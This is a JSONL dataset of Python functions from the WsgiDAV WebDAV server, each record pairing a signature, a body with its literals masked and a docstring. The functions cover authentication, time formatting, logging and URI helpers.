{"signature": "def resolve_provider(self, path):", "body": "<EOL>share = None<EOL>lower_path = path.lower()<EOL>for r in self.sorted_share_list:<EOL><INDENT>if r == \"<STR_LIT:/>\":<EOL><INDENT>share = r<EOL>break<EOL><DEDENT>elif lower_path == r or lower_path.startswith(r + \"<STR_LIT:/>\"):<EOL><INDENT>share = r<EOL>break<EOL><DEDENT><DEDENT>if share is None:<EOL><INDENT>return None, None<EOL><DEDENT>return share, self.provider_map.get(share)<EOL>", "docstring": "Get the registered DAVProvider for a given path.\n\n        Returns:\n            tuple: (share, provider)", "id": "f8583:c0:m2"}
{"signature": "def _calc_realm_from_path_provider(self, path_info, environ):", "body": "if environ:<EOL><INDENT>dav_provider = environ[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>_share, dav_provider = self.wsgidav_app.resolve_provider(path_info)<EOL><DEDENT>if not dav_provider:<EOL><INDENT>logger.warn(<EOL>\"<STR_LIT>\".format(<EOL>util.safe_re_encode(path_info, sys.stdout.encoding), None<EOL>)<EOL>)<EOL>return None<EOL><DEDENT>realm = dav_provider.share_path<EOL>if realm == \"<STR_LIT>\":<EOL><INDENT>realm = \"<STR_LIT:/>\"<EOL><DEDENT>return realm<EOL>", "docstring": "Internal helper for derived classes to implement get_domain_realm().", "id": "f8586:c0:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get_domain_realm(self, path_info, environ):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the normalized realm name for a given URL.\n\n        This method is called\n\n        - On startup, to check if anonymous access is allowed for a given share.\n          In this case, `environ` is None.\n        - For every request, before basic or digest authentication is handled.\n\n        A domain controller that uses the share path as realm name may use\n        the `_calc_realm_from_path_provider()` helper.\n\n        Args:\n            path_info (str):\n            environ (dict | None):\n        Returns:\n            str", "id": "f8586:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def require_authentication(self, realm, environ):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return False to disable authentication for this request.\n\n        This method is called\n\n        - On startup, to check if anonymous access is allowed for a given share.\n          In this case, `environ` is None.\n        - For every request, before basic or digest authentication is handled.\n          If False is returned, we MAY also set environment variables for\n          anonymous access::\n\n                environment[\"wsgidav.auth.roles\"] = (<role>, ...)\n                environment[\"wsgidav.auth.permissions\"] = (<perm>, ...)\n                return False\n\n        Args:\n            realm (str):\n            environ (dict | None):\n        Returns:\n            False to allow anonymous access\n            True to force subsequent digest or basic authentication", "id": "f8586:c0:m4"}
{"signature": "def is_share_anonymous(self, path_info):", "body": "realm = self.get_domain_realm(path_info, None)<EOL>return not self.require_authentication(realm, None)<EOL>", "docstring": "Return true if anonymous access will be granted to the share path.\n\n        This method is called on start-up to print out info and warnings.\n\n        Returns:\n            bool", "id": "f8586:c0:m5"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def basic_auth_user(self, realm, user_name, password, environ):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Check request access permissions for realm/user_name/password.\n\n        Called by http_authenticator for basic authentication requests.\n\n        Optionally set environment variables:\n\n            environ[\"wsgidav.auth.roles\"] = (<role>, ...)\n            environ[\"wsgidav.auth.permissions\"] = (<perm>, ...)\n\n        Args:\n            realm (str):\n            user_name (str):\n            password (str):\n            environ (dict):\n        Returns:\n            False if user is not known or not authorized\n            True if user is authorized", "id": "f8586:c0:m6"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def supports_http_digest_auth(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Signal if this DC instance supports the HTTP digest authentication theme.\n\n        If true, `HTTPAuthenticator` will call `dc.digest_auth_user()`,\n        so this method must be implemented as well.\n\n        Returns:\n            bool", "id": "f8586:c0:m7"}
{"signature": "def _compute_http_digest_a1(self, realm, user_name, password):", "body": "data = user_name + \"<STR_LIT::>\" + realm + \"<STR_LIT::>\" + password<EOL>A1 = md5(compat.to_bytes(data)).hexdigest()<EOL>return A1<EOL>", "docstring": "Internal helper for derived classes to compute a digest hash (A1 part).", "id": "f8586:c0:m8"}
{"signature": "def digest_auth_user(self, realm, user_name, environ):", "body": "raise NotImplementedError<EOL>", "docstring": "Check access permissions for realm/user_name.\n\n        Called by http_authenticator for basic authentication requests.\n\n        Compute the HTTP digest hash A1 part.\n\n        Any domain controller that returns true for `supports_http_digest_auth()`\n        MUST implement this method.\n\n        Optionally set environment variables:\n\n            environ[\"wsgidav.auth.roles\"] = (<role>, ...)\n            environ[\"wsgidav.auth.permissions\"] = (<perm>, ...)\n\n        Note that in order to calculate A1, we need either\n\n        - Access the plain text password of the user.\n          In this case the method `self._compute_http_digest_a1()` can be used\n          for convenience.\n          Or\n\n        - Return a stored hash value that is associated with the user name\n          (for example from Apache's htdigest files).\n\n        Args:\n            realm (str):\n            user_name (str):\n            environ (dict):\n\n        Returns:\n            str: MD5(\"{usern_name}:{realm}:{password}\")\n            or false if user is unknown or rejected", "id": "f8586:c0:m9"}
{"signature": "def _get_realm_entry(self, realm, user_name=None):", "body": "realm_entry = self.user_map.get(realm)<EOL>if realm_entry is None:<EOL><INDENT>realm_entry = self.user_map.get(\"<STR_LIT:*>\")<EOL><DEDENT>if user_name is None or realm_entry is None:<EOL><INDENT>return realm_entry<EOL><DEDENT>return realm_entry.get(user_name)<EOL>", "docstring": "Return the matching user_map entry (falling back to default '*' if any).", "id": "f8587:c0:m2"}
{"signature": "def get_domain_realm(self, path_info, environ):", "body": "realm = self._calc_realm_from_path_provider(path_info, environ)<EOL>return realm<EOL>", "docstring": "Resolve a relative url to the appropriate realm name.", "id": "f8587:c0:m3"}
{"signature": "def require_authentication(self, realm, environ):", "body": "realm_entry = self._get_realm_entry(realm)<EOL>if realm_entry is None:<EOL><INDENT>_logger.error(<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\".format(realm)<EOL>)<EOL><DEDENT>return realm_entry is not True<EOL>", "docstring": "Return True if this realm requires authentication (grant anonymous access otherwise).", "id": "f8587:c0:m4"}
{"signature": "def basic_auth_user(self, realm, user_name, password, environ):", "body": "user = self._get_realm_entry(realm, user_name)<EOL>if user is not None and password == user.get(\"<STR_LIT:password>\"):<EOL><INDENT>environ[\"<STR_LIT>\"] = user.get(\"<STR_LIT>\", [])<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if this user_name/password pair is valid for the realm,\n        False otherwise. Used for basic authentication.", "id": "f8587:c0:m5"}
{"signature": "def digest_auth_user(self, realm, user_name, environ):", "body": "user = self._get_realm_entry(realm, user_name)<EOL>if user is None:<EOL><INDENT>return False<EOL><DEDENT>password = user.get(\"<STR_LIT:password>\")<EOL>environ[\"<STR_LIT>\"] = user.get(\"<STR_LIT>\", [])<EOL>return self._compute_http_digest_a1(realm, user_name, password)<EOL>", "docstring": "Computes digest hash A1 part.", "id": "f8587:c0:m7"}
{"signature": "def get_rfc1123_time(secs=None):", "body": "<EOL>return formatdate(timeval=secs, localtime=False, usegmt=True)<EOL>", "docstring": "Return <secs> in rfc 1123 date/time format (pass secs=None for current date).", "id": "f8588:m0"}
{"signature": "def get_rfc3339_time(secs=None):", "body": "return time.strftime(\"<STR_LIT>\", time.gmtime(secs))<EOL>", "docstring": "Return <secs> in RFC 3339 date/time format (pass secs=None for current date).\n\n    RFC 3339 is a subset of ISO 8601, used for '{DAV:}creationdate'.\n    See http://tools.ietf.org/html/rfc3339", "id": "f8588:m1"}
{"signature": "def get_log_time(secs=None):", "body": "return time.strftime(\"<STR_LIT>\", time.gmtime(secs))<EOL>", "docstring": "Return <secs> in log time format (pass secs=None for current date).", "id": "f8588:m2"}
{"signature": "def parse_time_string(timestring):", "body": "result = _parse_gmt_time(timestring)<EOL>if result:<EOL><INDENT>return calendar.timegm(result)<EOL><DEDENT>return None<EOL>", "docstring": "Return the number of seconds since the epoch, for a date/time string.\n\n    Returns None for invalid input\n\n    The following time type strings are supported:\n\n    Sun, 06 Nov 1994 08:49:37 GMT  ; RFC 822, updated by RFC 1123\n    Sunday, 06-Nov-94 08:49:37 GMT ; RFC 850, obsoleted by RFC 1036\n    Sun Nov  6 08:49:37 1994       ; ANSI C's asctime() format", "id": "f8588:m3"}
{"signature": "def _parse_gmt_time(timestring):", "body": "<EOL>try:<EOL><INDENT>return time.strptime(timestring, \"<STR_LIT>\")<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return time.strptime(timestring, \"<STR_LIT>\")<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return time.strptime(timestring, \"<STR_LIT>\")<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return parsedate(timestring)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Return a standard time tuple (see time and calendar), for a date/time string.", "id": "f8588:m4"}
{"signature": "def init_logging(config):", "body": "verbose = config.get(\"<STR_LIT>\", <NUM_LIT:3>)<EOL>enable_loggers = config.get(\"<STR_LIT>\", [])<EOL>if enable_loggers is None:<EOL><INDENT>enable_loggers = []<EOL><DEDENT>logger_date_format = config.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>logger_format = config.get(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>)<EOL>formatter = logging.Formatter(logger_format, logger_date_format)<EOL>consoleHandler = logging.StreamHandler(sys.stdout)<EOL>consoleHandler.setFormatter(formatter)<EOL>logger = logging.getLogger(BASE_LOGGER_NAME)<EOL>if verbose >= <NUM_LIT:4>:  <EOL><INDENT>logger.setLevel(logging.DEBUG)<EOL><DEDENT>elif verbose == <NUM_LIT:3>:  <EOL><INDENT>logger.setLevel(logging.INFO)<EOL><DEDENT>elif verbose == <NUM_LIT:2>:  <EOL><INDENT>logger.setLevel(logging.WARN)<EOL><DEDENT>elif verbose == <NUM_LIT:1>:  <EOL><INDENT>logger.setLevel(logging.ERROR)<EOL><DEDENT>else:  <EOL><INDENT>logger.setLevel(logging.CRITICAL)<EOL><DEDENT>logger.propagate = False<EOL>for hdlr in logger.handlers[:]:  <EOL><INDENT>try:<EOL><INDENT>hdlr.flush()<EOL>hdlr.close()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>logger.removeHandler(hdlr)<EOL><DEDENT>logger.addHandler(consoleHandler)<EOL>if verbose >= <NUM_LIT:3>:<EOL><INDENT>for e in enable_loggers:<EOL><INDENT>if not e.startswith(BASE_LOGGER_NAME + \"<STR_LIT:.>\"):<EOL><INDENT>e = BASE_LOGGER_NAME + \"<STR_LIT:.>\" + e<EOL><DEDENT>lg = logging.getLogger(e.strip())<EOL>lg.setLevel(logging.DEBUG)<EOL><DEDENT><DEDENT>", "docstring": "Initialize base logger named 'wsgidav'.\n\n    The base logger is filtered by the `verbose` configuration option.\n    Log entries will have a time stamp and thread id.\n\n    :Parameters:\n        verbose : int\n            Verbosity configuration (0..5)\n        enable_loggers : string list\n            List of module logger names, that will be switched to DEBUG level.\n\n    Module loggers\n    ~~~~~~~~~~~~~~\n    Module loggers (e.g 'wsgidav.lock_manager') are named loggers, that can be\n    independently switched to DEBUG mode.\n\n    Except for verbosity, they will inherit settings from the base logger.\n\n    They will suppress DEBUG level messages, unless they are enabled by passing\n    their name to util.init_logging().\n\n    If enabled, module loggers will print DEBUG messages, even if verbose == 3.\n\n    Example initialize and use a module logger, that will generate output,\n    if enabled (and verbose >= 2)::\n\n        _logger = util.get_module_logger(__name__)\n        [..]\n        _logger.debug(\"foo: '{}'\".format(s))\n\n    This logger would be enabled by passing its name to init_logging()::\n\n        enable_loggers = [\"lock_manager\",\n                          \"property_manager\",\n                         ]\n        util.init_logging(2, enable_loggers)\n\n\n    Log Level Matrix\n    ~~~~~~~~~~~~~~~~\n\n    +---------+--------+---------------------------------------------------------------+\n    | Verbose | Option |                       Log level                               |\n    | level   |        +-------------+------------------------+------------------------+\n    |         |        | base logger | module logger(default) | module logger(enabled) |\n    +=========+========+=============+========================+========================+\n    |    0    | -qqq   | CRITICAL    | CRITICAL               | CRITICAL               |\n    +---------+--------+-------------+------------------------+------------------------+\n    |    1    | -qq    | ERROR       | ERROR                  | ERROR                  |\n    +---------+--------+-------------+------------------------+------------------------+\n    |    2    | -q     | WARN        | WARN                   | WARN                   |\n    +---------+--------+-------------+------------------------+------------------------+\n    |    3    |        | INFO        | INFO                   | **DEBUG**              |\n    +---------+--------+-------------+------------------------+------------------------+\n    |    4    | -v     | DEBUG       | DEBUG                  | DEBUG                  |\n    +---------+--------+-------------+------------------------+------------------------+\n    |    5    | -vv    | DEBUG       | DEBUG                  | DEBUG                  |\n    +---------+--------+-------------+------------------------+------------------------+", "id": "f8588:m5"}
{"signature": "def get_module_logger(moduleName, defaultToVerbose=False):", "body": "<EOL>if not moduleName.startswith(BASE_LOGGER_NAME + \"<STR_LIT:.>\"):<EOL><INDENT>moduleName = BASE_LOGGER_NAME + \"<STR_LIT:.>\" + moduleName<EOL><DEDENT>logger = logging.getLogger(moduleName)<EOL>return logger<EOL>", "docstring": "Create a module logger, that can be en/disabled by configuration.\n\n    @see: unit.init_logging", "id": "f8588:m6"}
{"signature": "def dynamic_import_class(name):", "body": "import importlib<EOL>module_name, class_name = name.rsplit(\"<STR_LIT:.>\", <NUM_LIT:1>)<EOL>try:<EOL><INDENT>module = importlib.import_module(module_name)<EOL><DEDENT>except Exception as e:<EOL><INDENT>_logger.exception(\"<STR_LIT>\".format(name, e))<EOL>raise<EOL><DEDENT>the_class = getattr(module, class_name)<EOL>return the_class<EOL>", "docstring": "Import a class from a module string, e.g. ``my.module.ClassName``.", "id": "f8588:m8"}
{"signature": "def dynamic_instantiate_middleware(name, args, expand=None):", "body": "def _expand(v):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if expand and compat.is_basestring(v) and v.lower() in expand:<EOL><INDENT>return expand[v]<EOL><DEDENT>return v<EOL><DEDENT>try:<EOL><INDENT>the_class = dynamic_import_class(name)<EOL>inst = None<EOL>if type(args) in (tuple, list):<EOL><INDENT>args = tuple(map(_expand, args))<EOL>inst = the_class(*args)<EOL><DEDENT>else:<EOL><INDENT>assert type(args) is dict<EOL>args = {k: _expand(v) for k, v in args.items()}<EOL>inst = the_class(**args)<EOL><DEDENT>_logger.debug(\"<STR_LIT>\".format(name, args, inst))<EOL><DEDENT>except Exception:<EOL><INDENT>_logger.exception(\"<STR_LIT>\".format(name, args, inst))<EOL><DEDENT>return inst<EOL>", "docstring": "Import a class and instantiate with custom args.\n\n    Example:\n        name = \"my.module.Foo\"\n        args_dict = {\n            \"bar\": 42,\n            \"baz\": \"qux\"\n            }\n        =>\n        from my.module import Foo\n        return Foo(bar=42, baz=\"qux\")", "id": "f8588:m9"}
{"signature": "def save_split(s, sep, maxsplit):", "body": "tok = s.split(sep, maxsplit)<EOL>while len(tok) <= maxsplit:<EOL><INDENT>tok.append(None)<EOL><DEDENT>return tok<EOL>", "docstring": "Split string, always returning n-tuple (filled with None if necessary).", "id": "f8588:m11"}
{"signature": "def pop_path(path):", "body": "if path in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return (\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>assert path.startswith(\"<STR_LIT:/>\")<EOL>first, _sep, rest = path.lstrip(\"<STR_LIT:/>\").partition(\"<STR_LIT:/>\")<EOL>return (first, \"<STR_LIT:/>\" + rest)<EOL>", "docstring": "Return '/a/b/c' -> ('a', '/b/c').", "id": "f8588:m12"}
{"signature": "def pop_path2(path):", "body": "if path in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>first, rest = pop_path(path)<EOL>second, rest = pop_path(rest)<EOL>return (first, second, \"<STR_LIT:/>\" + rest)<EOL>", "docstring": "Return '/a/b/c' -> ('a', 'b', '/c').", "id": "f8588:m13"}
{"signature": "def shift_path(script_name, path_info):", "body": "segment, rest = pop_path(path_info)<EOL>return (segment, join_uri(script_name.rstrip(\"<STR_LIT:/>\"), segment), rest.rstrip(\"<STR_LIT:/>\"))<EOL>", "docstring": "Return ('/a', '/b/c') -> ('b', '/a/b', 'c').", "id": "f8588:m14"}
{"signature": "def split_namespace(clarkName):", "body": "if clarkName.startswith(\"<STR_LIT:{>\") and \"<STR_LIT:}>\" in clarkName:<EOL><INDENT>ns, localname = clarkName.split(\"<STR_LIT:}>\", <NUM_LIT:1>)<EOL>return (ns[<NUM_LIT:1>:], localname)<EOL><DEDENT>return (\"<STR_LIT>\", clarkName)<EOL>", "docstring": "Return (namespace, localname) tuple for a property name in Clark Notation.\n\n    Namespace defaults to ''.\n    Example:\n    '{DAV:}foo'  -> ('DAV:', 'foo')\n    'bar'  -> ('', 'bar')", "id": "f8588:m15"}
{"signature": "def to_unicode_safe(s):", "body": "try:<EOL><INDENT>u = compat.to_unicode(s, \"<STR_LIT:utf8>\")<EOL><DEDENT>except ValueError:<EOL><INDENT>_logger.error(<EOL>\"<STR_LIT>\".format(s)<EOL>)<EOL>u = compat.to_unicode(s, \"<STR_LIT>\")<EOL><DEDENT>return u<EOL>", "docstring": "Convert a binary string to Unicode using UTF-8 (fallback to ISO-8859-1).", "id": "f8588:m16"}
{"signature": "def safe_re_encode(s, encoding_to, errors=\"<STR_LIT>\"):", "body": "<EOL>if not encoding_to:<EOL><INDENT>encoding_to = \"<STR_LIT>\"<EOL><DEDENT>if compat.is_bytes(s):<EOL><INDENT>s = s.decode(encoding_to, errors=errors).encode(encoding_to)<EOL><DEDENT>else:<EOL><INDENT>s = s.encode(encoding_to, errors=errors).decode(encoding_to)<EOL><DEDENT>return s<EOL>", "docstring": "Re-encode str or binary so that is compatible with a given encoding (replacing\n    unsupported chars).\n\n    We use ASCII as default, which gives us some output that contains \\x99 and \\u9999\n    for every character > 127, for easier debugging.\n    (e.g. if we don't know the encoding, see #87, #96)", "id": "f8588:m17"}
{"signature": "def string_repr(s):", "body": "if compat.is_bytes(s):<EOL><INDENT>res = \"<STR_LIT>\".format(s)<EOL>for b in s:<EOL><INDENT>if type(b) is str:  <EOL><INDENT>b = ord(b)<EOL><DEDENT>res += \"<STR_LIT>\" % b<EOL><DEDENT>return res<EOL><DEDENT>return \"<STR_LIT:{}>\".format(s)<EOL>", "docstring": "Return a string as hex dump.", "id": "f8588:m18"}
{"signature": "def byte_number_string(<EOL>number, thousandsSep=True, partition=False, base1024=True, appendBytes=True<EOL>):", "body": "magsuffix = \"<STR_LIT>\"<EOL>bytesuffix = \"<STR_LIT>\"<EOL>if partition:<EOL><INDENT>magnitude = <NUM_LIT:0><EOL>if base1024:<EOL><INDENT>while number >= <NUM_LIT>:<EOL><INDENT>magnitude += <NUM_LIT:1><EOL>number = number >> <NUM_LIT:10><EOL><DEDENT><DEDENT>else:<EOL><INDENT>while number >= <NUM_LIT:1000>:<EOL><INDENT>magnitude += <NUM_LIT:1><EOL>number /= <NUM_LIT><EOL><DEDENT><DEDENT>magsuffix = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:M>\", \"<STR_LIT>\", \"<STR_LIT:T>\", \"<STR_LIT:P>\"][magnitude]<EOL><DEDENT>if appendBytes:<EOL><INDENT>if number == <NUM_LIT:1>:<EOL><INDENT>bytesuffix = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>bytesuffix = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if thousandsSep and (number >= <NUM_LIT:1000> or magsuffix):<EOL><INDENT>snum = \"<STR_LIT>\".format(number)<EOL><DEDENT>else:<EOL><INDENT>snum = str(number)<EOL><DEDENT>return \"<STR_LIT>\".format(snum, magsuffix, bytesuffix)<EOL>", "docstring": "Convert bytes into human-readable representation.", "id": "f8588:m20"}
{"signature": "def get_content_length(environ):", "body": "<EOL>try:<EOL><INDENT>return max(<NUM_LIT:0>, int(environ.get(\"<STR_LIT>\", <NUM_LIT:0>)))<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Return a positive CONTENT_LENGTH in a safe way (return 0 otherwise).", "id": "f8588:m21"}
{"signature": "def read_and_discard_input(environ):", "body": "if environ.get(\"<STR_LIT>\") or environ.get(\"<STR_LIT>\"):<EOL><INDENT>return<EOL><DEDENT>cl = get_content_length(environ)<EOL>assert cl >= <NUM_LIT:0><EOL>if cl == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>READ_ALL = True<EOL>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>if READ_ALL:<EOL><INDENT>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL><DEDENT>wsgi_input = environ[\"<STR_LIT>\"]<EOL>if hasattr(wsgi_input, \"<STR_LIT>\") and hasattr(wsgi_input, \"<STR_LIT>\"):<EOL><INDENT>if wsgi_input._consumed == <NUM_LIT:0> and wsgi_input.length > <NUM_LIT:0>:<EOL><INDENT>if READ_ALL:<EOL><INDENT>n = wsgi_input.length<EOL><DEDENT>else:<EOL><INDENT>n = <NUM_LIT:1><EOL><DEDENT>body = wsgi_input.read(n)<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>n, body[:<NUM_LIT:50>]<EOL>)<EOL>)<EOL><DEDENT><DEDENT>elif hasattr(wsgi_input, \"<STR_LIT>\") and hasattr(wsgi_input._sock, \"<STR_LIT>\"):<EOL><INDENT>try:<EOL><INDENT>sock = wsgi_input._sock<EOL>timeout = sock.gettimeout()<EOL>sock.settimeout(<NUM_LIT:0>)<EOL>try:<EOL><INDENT>if READ_ALL:<EOL><INDENT>n = cl<EOL><DEDENT>else:<EOL><INDENT>n = <NUM_LIT:1><EOL><DEDENT>body = wsgi_input.read(n)<EOL>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>n, body[:<NUM_LIT:50>]<EOL>)<EOL>)<EOL><DEDENT>except socket.error as se:<EOL><INDENT>_logger.error(\"<STR_LIT>\".format(n, se))<EOL><DEDENT>sock.settimeout(timeout)<EOL><DEDENT>except Exception:<EOL><INDENT>_logger.error(\"<STR_LIT>\".format(sys.exc_info()))<EOL><DEDENT><DEDENT>", "docstring": "Read 1 byte from wsgi.input, if this has not been done yet.\n\n    Returning a response without reading from a request body might confuse the\n    WebDAV client.\n    This may happen, if an exception like '401 Not authorized', or\n    '500 Internal error' was raised BEFORE anything was read from the request\n    stream.\n\n    See GC issue 13, issue 23\n    See http://groups.google.com/group/paste-users/browse_frm/thread/fc0c9476047e9a47?hl=en\n\n    Note that with persistent sessions (HTTP/1.1) we must make sure, that the\n    'Connection: closed' header is set with the response, to prevent reusing\n    the current stream.", "id": "f8588:m22"}
{"signature": "def fail(value, context_info=None, src_exception=None, err_condition=None):", "body": "if isinstance(value, Exception):<EOL><INDENT>e = as_DAVError(value)<EOL><DEDENT>else:<EOL><INDENT>e = DAVError(value, context_info, src_exception, err_condition)<EOL><DEDENT>_logger.error(\"<STR_LIT>\".format(e.get_user_info()))<EOL>raise e<EOL>", "docstring": "Wrapper to raise (and log) DAVError.", "id": "f8588:m23"}
{"signature": "def join_uri(uri, *segments):", "body": "sub = \"<STR_LIT:/>\".join(segments)<EOL>if not sub:<EOL><INDENT>return uri<EOL><DEDENT>return uri.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\" + sub<EOL>", "docstring": "Append segments to URI.\n\n    Example: join_uri(\"/a/b\", \"c\", \"d\")", "id": "f8588:m24"}
{"signature": "def get_uri_name(uri):", "body": "return uri.strip(\"<STR_LIT:/>\").split(\"<STR_LIT:/>\")[-<NUM_LIT:1>]<EOL>", "docstring": "Return local name, i.e. last segment of URI.", "id": "f8588:m25"}
{"signature": "def get_uri_parent(uri):", "body": "if not uri or uri.strip() == \"<STR_LIT:/>\":<EOL><INDENT>return None<EOL><DEDENT>return uri.rstrip(\"<STR_LIT:/>\").rsplit(\"<STR_LIT:/>\", <NUM_LIT:1>)[<NUM_LIT:0>] + \"<STR_LIT:/>\"<EOL>", "docstring": "Return URI of parent collection with trailing '/', or None, if URI is top-level.\n\n    This function simply strips the last segment. It does not test, if the\n    target is a 'collection', or even exists.", "id": "f8588:m26"}
{"signature": "def is_child_uri(parentUri, childUri):", "body": "return (<EOL>parentUri<EOL>and childUri<EOL>and childUri.rstrip(\"<STR_LIT:/>\").startswith(parentUri.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\")<EOL>)<EOL>", "docstring": "Return True, if childUri is a child of parentUri.\n\n    This function accounts for the fact that '/a/b/c' and 'a/b/c/' are\n    children of '/a/b' (and also of '/a/b/').\n    Note that '/a/b/cd' is NOT a child of 'a/b/c'.", "id": "f8588:m27"}
{"signature": "def is_equal_or_child_uri(parentUri, childUri):", "body": "return (<EOL>parentUri<EOL>and childUri<EOL>and (childUri.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\").startswith(parentUri.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\")<EOL>)<EOL>", "docstring": "Return True, if childUri is a child of parentUri or maps to the same resource.\n\n    Similar to <util.is_child_uri>_ ,  but this method also returns True, if parent\n    equals child. ('/a/b' is considered identical with '/a/b/').", "id": "f8588:m28"}
{"signature": "def make_complete_url(environ, localUri=None):", "body": "url = environ[\"<STR_LIT>\"] + \"<STR_LIT>\"<EOL>if environ.get(\"<STR_LIT>\"):<EOL><INDENT>url += environ[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>url += environ[\"<STR_LIT>\"]<EOL>if environ[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>if environ[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>url += \"<STR_LIT::>\" + environ[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if environ[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>url += \"<STR_LIT::>\" + environ[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT><DEDENT>url += compat.quote(environ.get(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>if localUri is None:<EOL><INDENT>url += compat.quote(environ.get(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>if environ.get(\"<STR_LIT>\"):<EOL><INDENT>url += \"<STR_LIT:?>\" + environ[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>url += localUri  <EOL><DEDENT>return url<EOL>", "docstring": "URL reconstruction according to PEP 333.\n    @see https://www.python.org/dev/peps/pep-3333/#url-reconstruction", "id": "f8588:m29"}
{"signature": "def parse_xml_body(environ, allow_empty=False):", "body": "<EOL>clHeader = environ.get(\"<STR_LIT>\", \"<STR_LIT>\").strip()<EOL>if clHeader == \"<STR_LIT>\":<EOL><INDENT>requestbody = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>content_length = int(clHeader)<EOL>if content_length < <NUM_LIT:0>:<EOL><INDENT>raise DAVError(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise DAVError(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if content_length == <NUM_LIT:0>:<EOL><INDENT>requestbody = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>requestbody = environ[\"<STR_LIT>\"].read(content_length)<EOL>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL><DEDENT><DEDENT>if requestbody == \"<STR_LIT>\":<EOL><INDENT>if allow_empty:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise DAVError(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>try:<EOL><INDENT>rootEL = etree.fromstring(requestbody)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise DAVError(HTTP_BAD_REQUEST, \"<STR_LIT>\", src_exception=e)<EOL><DEDENT>if environ.get(\"<STR_LIT>\"):<EOL><INDENT>_logger.info(<EOL>\"<STR_LIT>\".format(<EOL>environ[\"<STR_LIT>\"],<EOL>compat.to_native(xml_to_bytes(rootEL, pretty_print=True)),<EOL>)<EOL>)<EOL>environ[\"<STR_LIT>\"] = False<EOL><DEDENT>return rootEL<EOL>", "docstring": "Read request body XML into an etree.Element.\n\n    Return None, if no request body was sent.\n    Raise HTTP_BAD_REQUEST, if something else went wrong.\n\n    TODO: this is a very relaxed interpretation: should we raise HTTP_BAD_REQUEST\n    instead, if CONTENT_LENGTH is missing, invalid, or 0?\n\n    RFC: For compatibility with HTTP/1.0 applications, HTTP/1.1 requests containing\n    a message-body MUST include a valid Content-Length header field unless the\n    server is known to be HTTP/1.1 compliant.\n    If a request contains a message-body and a Content-Length is not given, the\n    server SHOULD respond with 400 (bad request) if it cannot determine the\n    length of the message, or with 411 (length required) if it wishes to insist\n    on receiving a valid Content-Length.\"\n\n    So I'd say, we should accept a missing CONTENT_LENGTH, and try to read the\n    content anyway.\n    But WSGI doesn't guarantee to support input.read() without length(?).\n    At least it locked, when I tried it with a request that had a missing\n    content-type and no body.\n\n    Current approach: if CONTENT_LENGTH is\n\n    - valid and >0:\n      read body (exactly <CONTENT_LENGTH> bytes) and parse the result.\n    - 0:\n      Assume empty body and return None or raise exception.\n    - invalid (negative or not a number:\n      raise HTTP_BAD_REQUEST\n    - missing:\n      NOT: Try to read body until end and parse the result.\n      BUT: assume '0'\n    - empty string:\n      WSGI allows it to be empty or absent: treated like 'missing'.", "id": "f8588:m30"}
